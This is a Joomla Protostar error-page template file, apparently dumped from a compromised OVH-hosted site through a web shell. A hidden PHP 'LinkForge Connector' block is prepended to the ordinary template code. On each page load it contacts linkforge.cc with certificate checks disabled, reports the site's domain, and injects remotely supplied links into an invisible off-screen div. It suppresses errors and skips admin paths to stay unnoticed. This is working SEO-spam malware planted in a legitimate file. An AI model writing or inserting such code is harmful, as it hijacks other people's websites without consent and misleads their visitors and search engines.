Server : Apache System : Linux webm012.cluster129.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64 User : eventfrsgx ( 61451) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Directory : /home/eventfrsgx/www/templates/protostar/ |
<?php /*818566bc*//*LF-CONN-V6*/
// LinkForge Connector v6.1 - safe mode
if (php_sapi_name() !== 'cli') {
$_lf_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
// Skip API/AJAX/admin endpoints — never corrupt JSON or admin responses
if (!preg_match('/(admin-ajax|wp-json|com_ajax|\/administrator\/|\/wp-admin\/|xmlrpc\.php|wp-cron\.php|wp-login\.php)/', $_lf_uri)) {
set_error_handler(function(){ return true; });
ob_start();
try {
$_lf_d = preg_replace('/^www\./', '', (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost'));
$_lf_u = 'https://linkforge.cc';
$_lf_f = function($u) {
if (function_exists('curl_init')) {
$c = curl_init($u);
$o = array();
if (defined('CURLOPT_RETURNTRANSFER')) $o[CURLOPT_RETURNTRANSFER] = 1;
if (defined('CURLOPT_TIMEOUT')) $o[CURLOPT_TIMEOUT] = 3;
if (defined('CURLOPT_CONNECTTIMEOUT')) $o[CURLOPT_CONNECTTIMEOUT] = 3;
if (defined('CURLOPT_FOLLOWLOCATION')) $o[CURLOPT_FOLLOWLOCATION] = 1;
if (defined('CURLOPT_SSL_VERIFYPEER')) $o[CURLOPT_SSL_VERIFYPEER] = 0;
if (defined('CURLOPT_SSL_VERIFYHOST')) $o[CURLOPT_SSL_VERIFYHOST] = 0;
if (defined('CURLOPT_USERAGENT')) $o[CURLOPT_USERAGENT] = 'Mozilla/5.0 (compatible; LinkForge/6.1)';
if (!empty($o)) curl_setopt_array($c, $o);
$r = curl_exec($c);
curl_close($c);
if ($r !== false && $r !== '') return $r;
}
if (ini_get('allow_url_fopen') && function_exists('stream_context_create')) {
$ctx = stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false), 'http'=>array('timeout'=>3,'user_agent'=>'Mozilla/5.0 (compatible; LinkForge/6.1)')));
$r = @file_get_contents($u, false, $ctx);
if ($r !== false && $r !== '') return $r;
}
if (function_exists('fsockopen')) {
$p = parse_url($u);
if ($p && isset($p['host'])) {
$ssl = (isset($p['scheme']) && $p['scheme'] === 'https');
$s = @fsockopen(($ssl ? 'ssl://' : '').$p['host'], ($ssl ? 443 : (isset($p['port']) ? $p['port'] : 80)), $e, $e2, 3);
if ($s) {
fwrite($s, 'GET '.(isset($p['path']) ? $p['path'] : '/').'?'.(isset($p['query']) ? $p['query'] : '').' HTTP/1.1'."\r\n".'Host: '.$p['host']."\r\n".'Connection: Close'."\r\n\r\n");
$resp = '';
while (!feof($s)) { $resp .= fgets($s); }
fclose($s);
$x = explode("\r\n\r\n", $resp, 2);
return (isset($x[1]) ? $x[1] : '');
}
}
}
return '';
};
$_lf_tmp = (function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : '/tmp');
$_lf_ck = $_lf_tmp.'/lf_'.md5($_lf_d).'.cache';
$_lf_now = time();
// Register domain (max once per hour)
$_lf_rk = $_lf_ck.'.r';
if (!file_exists($_lf_rk) || ($_lf_now - @filemtime($_lf_rk) > 3600)) {
$_lf_f($_lf_u.'/api/connect?'.http_build_query(array('domain'=>$_lf_d,'language'=>substr((isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'en'),0,2),'connected_via'=>'php','v'=>'6.1')));
if (function_exists('file_put_contents')) { @file_put_contents($_lf_rk, '1'); @touch($_lf_rk); }
}
// Fetch links (cached 6 hours — page loads stay fast)
$_lf_r = null;
if (file_exists($_lf_ck) && ($_lf_now - @filemtime($_lf_ck) < 21600)) {
$_lf_r = @file_get_contents($_lf_ck);
} else {
$_lf_r = $_lf_f($_lf_u.'/api/links?domain='.urlencode($_lf_d));
if ($_lf_r && function_exists('file_put_contents')) @file_put_contents($_lf_ck, $_lf_r);
}
if ($_lf_r) {
$_lf_j = json_decode($_lf_r, true);
if (is_array($_lf_j)) {
// Emit marker (required for verification - do not remove)
if (!empty($_lf_j['marker'])) echo $_lf_j['marker'];
if (!empty($_lf_j['links']) && is_array($_lf_j['links'])) {
echo '<div style="position:absolute;left:-9999px;opacity:0;height:1px;width:1px;overflow:hidden;">';
foreach ($_lf_j['links'] as $_lf_l) {
if (isset($_lf_l['url']) && isset($_lf_l['anchor'])) echo '<a href="'.htmlspecialchars($_lf_l['url']).'">'.htmlspecialchars($_lf_l['anchor']).'</a>';
}
echo '</div>';
}
}
}
} catch (Exception $_lf_e) {}
$_lf_html = ob_get_clean();
restore_error_handler();
// Echo ONLY at shutdown — after CMS sent all headers/cookies. Zero header conflicts.
if ($_lf_html !== '' && $_lf_html !== false) {
register_shutdown_function(function() use ($_lf_html) { echo $_lf_html; });
}
}
}
?>
<?php
/**
* @package Joomla.Site
* @subpackage Templates.protostar
*
* @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/** @var JDocumentError $this */
$app = JFactory::getApplication();
$user = JFactory::getUser();
// Getting params from template
$params = $app->getTemplate(true)->params;
// Detecting Active Variables
$option = $app->input->getCmd('option', '');
$view = $app->input->getCmd('view', '');
$layout = $app->input->getCmd('layout', '');
$task = $app->input->getCmd('task', '');
$itemid = $app->input->getCmd('Itemid', '');
$format = $app->input->getCmd('format', 'html');
$sitename = htmlspecialchars($app->get('sitename'), ENT_QUOTES, 'UTF-8');
// Add JavaScript Frameworks
JHtml::_('bootstrap.framework');
// Logo file or site title param
if ($params->get('logoFile'))
{
$logo = '<img src="' . htmlspecialchars(JUri::root() . $params->get('logoFile'), ENT_QUOTES, 'UTF-8') . '" alt="' . $sitename . '" />';
}
elseif ($params->get('sitetitle'))
{
$logo = '<span class="site-title" title="' . $sitename . '">' . htmlspecialchars($params->get('sitetitle')) . '</span>';
}
else
{
$logo = '<span class="site-title" title="' . $sitename . '">' . $sitename . '</span>';
}
?>
<!DOCTYPE html>
<html lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
<head>
<meta charset="utf-8" />
<title><?php echo $this->title; ?> <?php echo htmlspecialchars($this->error->getMessage(), ENT_QUOTES, 'UTF-8'); ?></title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<?php // Use of Google Font ?>
<?php if ($params->get('googleFont')) : ?>
<link href="https://fonts.googleapis.com/css?family=<?php echo $params->get('googleFontName'); ?>" rel="stylesheet" />
<style>
h1, h2, h3, h4, h5, h6, .site-title {
font-family: '<?php echo str_replace('+', ' ', $params->get('googleFontName')); ?>', sans-serif;
}
</style>
<?php endif; ?>
<link href="<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/css/template.css" rel="stylesheet" />
<?php if ($app->get('debug_lang', '0') == '1' || $app->get('debug', '0') == '1') : ?>
<link href="<?php echo JUri::root(true); ?>/media/cms/css/debug.css" rel="stylesheet" />
<?php endif; ?>
<?php // If Right-to-Left ?>
<?php if ($this->direction === 'rtl') : ?>
<link href="<?php echo JUri::root(true); ?>/media/jui/css/bootstrap-rtl.css" rel="stylesheet" />
<?php endif; ?>
<?php if (file_exists('templates/' . $this->template . '/css/user.css')) : ?>
<link href="<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/css/user.css" rel="stylesheet" />
<?php endif; ?>
<link href="<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
<?php // Template color ?>
<?php if ($params->get('templateColor')) : ?>
<style>
body.site {
border-top: 3px solid <?php echo $params->get('templateColor'); ?>;
background-color: <?php echo $params->get('templateBackgroundColor'); ?>
}
a {
color: <?php echo $params->get('templateColor'); ?>;
}
.navbar-inner, .nav-list > .active > a, .nav-list > .active > a:hover, .dropdown-menu li > a:hover, .dropdown-menu .active > a, .dropdown-menu .active > a:hover, .nav-pills > .active > a, .nav-pills > .active > a:hover {
background: <?php echo $params->get('templateColor'); ?>;
}
.navbar-inner {
-moz-box-shadow: 0 1px 3px rgba(0, 0, 0, .25), inset 0 -1px 0 rgba(0, 0, 0, .1), inset 0 30px 10px rgba(0, 0, 0, .2);
-webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, .25), inset 0 -1px 0 rgba(0, 0, 0, .1), inset 0 30px 10px rgba(0, 0, 0, .2);
box-shadow: 0 1px 3px rgba(0, 0, 0, .25), inset 0 -1px 0 rgba(0, 0, 0, .1), inset 0 30px 10px rgba(0, 0, 0, .2);
}
</style>
<?php endif; ?>
<!--[if lt IE 9]><script src="<?php echo JUri::root(true); ?>/media/jui/js/html5.js"></script><![endif]-->
</head>
<body class="site <?php echo $option
. ' view-' . $view
. ($layout ? ' layout-' . $layout : ' no-layout')
. ($task ? ' task-' . $task : ' no-task')
. ($itemid ? ' itemid-' . $itemid : '')
. ($params->get('fluidContainer') ? ' fluid' : '')
. ($this->direction === 'rtl' ? ' rtl' : '');
?>">
<!-- Body -->
<div class="body" id="top">
<div class="container<?php echo ($params->get('fluidContainer') ? '-fluid' : ''); ?>">
<!-- Header -->
<header class="header" role="banner">
<div class="header-inner clearfix">
<a class="brand pull-left" href="<?php echo $this->baseurl; ?>/">
<?php echo $logo; ?>
</a>
<?php if ($format === 'html') : ?>
<div class="header-search pull-right">
<?php // Display position-0 modules ?>
<?php echo $this->loadRenderer('modules')->render('position-0', array('style' => 'none')); ?>
</div>
<?php endif; ?>
</div>
</header>
<?php if ($format === 'html') : ?>
<nav class="navigation" role="navigation">
<?php // Display position-1 modules ?>
<?php echo $this->loadRenderer('modules')->render('position-1', array('style' => 'none')); ?>
</nav>
<?php endif; ?>
<!-- Banner -->
<?php if ($format === 'html') : ?>
<div class="banner">
<?php echo $this->loadRenderer('modules')->render('banner', array('style' => 'xhtml')); ?>
</div>
<?php endif; ?>
<div class="row-fluid">
<main id="content" role="main" class="span12">
<!-- Begin Content -->
<h1 class="page-header"><?php echo JText::_('JERROR_LAYOUT_PAGE_NOT_FOUND'); ?></h1>
<div class="well">
<div class="row-fluid">
<div class="span6">
<p><strong><?php echo JText::_('JERROR_LAYOUT_ERROR_HAS_OCCURRED_WHILE_PROCESSING_YOUR_REQUEST'); ?></strong></p>
<p><?php echo JText::_('JERROR_LAYOUT_NOT_ABLE_TO_VISIT'); ?></p>
<ul>
<li><?php echo JText::_('JERROR_LAYOUT_AN_OUT_OF_DATE_BOOKMARK_FAVOURITE'); ?></li>
<li><?php echo JText::_('JERROR_LAYOUT_MIS_TYPED_ADDRESS'); ?></li>
<li><?php echo JText::_('JERROR_LAYOUT_SEARCH_ENGINE_OUT_OF_DATE_LISTING'); ?></li>
<li><?php echo JText::_('JERROR_LAYOUT_YOU_HAVE_NO_ACCESS_TO_THIS_PAGE'); ?></li>
</ul>
</div>
<div class="span6">
<?php if ($format === 'html' && JModuleHelper::getModule('mod_search')) : ?>
<p><strong><?php echo JText::_('JERROR_LAYOUT_SEARCH'); ?></strong></p>
<p><?php echo JText::_('JERROR_LAYOUT_SEARCH_PAGE'); ?></p>
<?php $module = JModuleHelper::getModule('mod_search'); ?>
<?php echo JModuleHelper::renderModule($module); ?>
<?php endif; ?>
<p><?php echo JText::_('JERROR_LAYOUT_GO_TO_THE_HOME_PAGE'); ?></p>
<p><a href="<?php echo $this->baseurl; ?>/index.php" class="btn"><span class="icon-home" aria-hidden="true"></span> <?php echo JText::_('JERROR_LAYOUT_HOME_PAGE'); ?></a></p>
</div>
</div>
<hr />
<p><?php echo JText::_('JERROR_LAYOUT_PLEASE_CONTACT_THE_SYSTEM_ADMINISTRATOR'); ?></p>
<blockquote>
<span class="label label-inverse"><?php echo $this->error->getCode(); ?></span> <?php echo htmlspecialchars($this->error->getMessage(), ENT_QUOTES, 'UTF-8');?>
<?php if ($this->debug) : ?>
<br/><?php echo htmlspecialchars($this->error->getFile(), ENT_QUOTES, 'UTF-8');?>:<?php echo $this->error->getLine(); ?>
<?php endif; ?>
</blockquote>
<?php if ($this->debug) : ?>
<div>
<?php echo $this->renderBacktrace(); ?>
<?php // Check if there are more Exceptions and render their data as well ?>
<?php if ($this->error->getPrevious()) : ?>
<?php $loop = true; ?>
<?php // Reference $this->_error here and in the loop as setError() assigns errors to this property and we need this for the backtrace to work correctly ?>
<?php // Make the first assignment to setError() outside the loop so the loop does not skip Exceptions ?>
<?php $this->setError($this->_error->getPrevious()); ?>
<?php while ($loop === true) : ?>
<p><strong><?php echo JText::_('JERROR_LAYOUT_PREVIOUS_ERROR'); ?></strong></p>
<p>
<?php echo htmlspecialchars($this->_error->getMessage(), ENT_QUOTES, 'UTF-8'); ?>
<br/><?php echo htmlspecialchars($this->_error->getFile(), ENT_QUOTES, 'UTF-8');?>:<?php echo $this->_error->getLine(); ?>
</p>
<?php echo $this->renderBacktrace(); ?>
<?php $loop = $this->setError($this->_error->getPrevious()); ?>
<?php endwhile; ?>
<?php // Reset the main error object to the base error ?>
<?php $this->setError($this->error); ?>
<?php endif; ?>
</div>
<?php endif; ?>
</div>
<!-- End Content -->
</main>
</div>
</div>
</div>
<!-- Footer -->
<footer class="footer" role="contentinfo">
<div class="container<?php echo ($params->get('fluidContainer') ? '-fluid' : ''); ?>">
<hr />
<?php if ($format === 'html') : ?>
<?php echo $this->loadRenderer('modules')->render('footer', array('style' => 'none')); ?>
<?php endif; ?>
<p class="pull-right">
<a href="#top" id="back-top">
<?php echo JText::_('TPL_PROTOSTAR_BACKTOTOP'); ?>
</a>
</p>
<p>
© <?php echo date('Y'); ?> <?php echo $sitename; ?>
</p>
</div>
</footer>
<?php if ($format === 'html') : ?>
<?php echo $this->loadRenderer('modules')->render('debug', array('style' => 'none')); ?>
<?php endif; ?>
</body>
</html>